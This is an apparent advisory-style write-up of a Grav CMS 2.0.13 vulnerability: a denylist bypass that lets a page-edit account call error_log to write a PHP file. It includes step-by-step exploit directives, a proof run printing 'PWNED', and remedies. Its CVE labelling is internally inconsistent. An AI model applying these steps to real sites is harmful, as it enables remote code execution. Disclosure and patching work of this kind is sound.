Listen to this Post
CVE-2026-64850 is tied to GHSA-7pgq in Grav CMS.
The advisory addressed dynamic-data callable validation in Blueprint.php.
The vulnerable sink is call_user_func_array($o, $params) at Blueprint.php:455-458.
A twin sink exists at FlexDirectory.php:936-938.
Blueprint::isSafeDynamicCall() at Blueprint.php:514-536 is the validation gate.
The Class::method branch at :514-527 uses a strict positive allowlist.
That allowlist is self::$allowedDynamicCallables.
The bare-function branch at :530-534 uses only a denylist.
The denylist is Utils::isDangerousFunction() in Utils.php around :2020-2270.
GHSA-7pgq/CVE-2026-64850 hardened the Class::method half.
It did so because a page-edit account could name any static method.
That could reach file/secret gadgets.
The bare-function half was left on a denylist.
Any bare PHP function not on that list executes.
error_log is not on the denylist.
No occurrence of error_log exists in Utils.php.
error_log($message, 3, $destination) appends attacker-controlled $message.
The $destination is also attacker-controlled.
This is an arbitrary-file-append primitive.
paramsContainDangerousCallable() at :587-603 scans params only for dangerous callable strings.
A PHP payload string and a destination path both pass.
stream_socket_client, dl, and mb_send_mail are likewise absent.
Those absences give SSRF and other primitives.
The attacker model matches published dynamic-data advisories.
A data-@ directive in a form blueprint is reachable.
The Form plugin assembles it from page frontmatter, as in GHSA-fj2p.
A data@ field in a Flex directory/pages/users blueprint is reachable, as in GHSA-c4wf.
A page-edit or blueprint-config account is enough.
No shell is required.
The incomplete fix leaves the bare-function branch exploitable.
That is the core of CVE-2026-64850’s remaining bypass.
DailyCVE Form:
Platform: Grav CMS
Version: 2.0.13
Vulnerability: error_log denylist bypass
Severity: High
date: Not provided
Prediction: Unknown patch date
What Undercode Say:
Analytics:
rg -n “error_log|stream_socket_client|mb_send_mail” system/src/Grav/Common/Utils.php
rg -n “isDangerousFunction|allowedDynamicCallables|call_user_func_array” system/src/Grav/Common/Data/Blueprint.php
data-options@: [‘error_log’, ‘‘, 3, ‘user/data/x.php’]
call_user_func_array(‘error_log’, [‘
[bash] isSafeDynamicCall(‘error_log’, [payload,3,dest]) => true
[bash] isSafeDynamicCall(‘system’, [‘id’]) => false
isSafeDynamicCall(‘exec’, [‘id’]) => false
[bash] call_user_func_array(‘error_log’, [‘‘.EOL, 3, ‘/tmp/grav_rce_proof.php’])
file written: /tmp/grav_rce_proof.php (23 bytes) =
[bash] php /tmp/grav_rce_proof.php => PWNED
Exploit: (Educational Purposes!)
Author a blueprint field with a bare-function data directive.
Use data-options@: [‘error_log’, ‘‘, 3, ‘user/data/x.php’].
Blueprint::init() resolves the directive.
isSafeDynamicCall(‘error_log’, $params) reaches the bare-function branch at :530.
isDangerousFunction(‘error_log’) is false.
paramsContainDangerousCallable([…]) is false because no callable strings exist.
call_user_func_array(‘error_log’, [‘<?php …’, 3, ‘user/data/x.php’]) at :455 appends the PHP payload.
Write to a web-served path or any path later included.
Executing the written file yields code execution.
The upload extension denylist does not apply.
This is a direct error_log write, not an upload.
Protection: from this CVE
Convert the bare-function branch to a positive allowlist.
Make it symmetric with the Class::method allowlist at :523.
Allow only option-provider functions first-party blueprints actually use.
Do not rely on a denylist.
A denylist cannot be complete.
Enumerate error_log, stream_socket_client, dl, and mb_send_mail.
Block bare-function data directives from untrusted blueprints.
Restrict page-edit and blueprint-config accounts.
Monitor writes to web-served paths.
Validate data-@ and data@ fields.
Impact:
Arbitrary file append.
Remote code execution.
High confidentiality impact.
High integrity impact.
High availability impact.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6).
Same class and reach as GHSA-fj2p / CVE-2026-64850.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
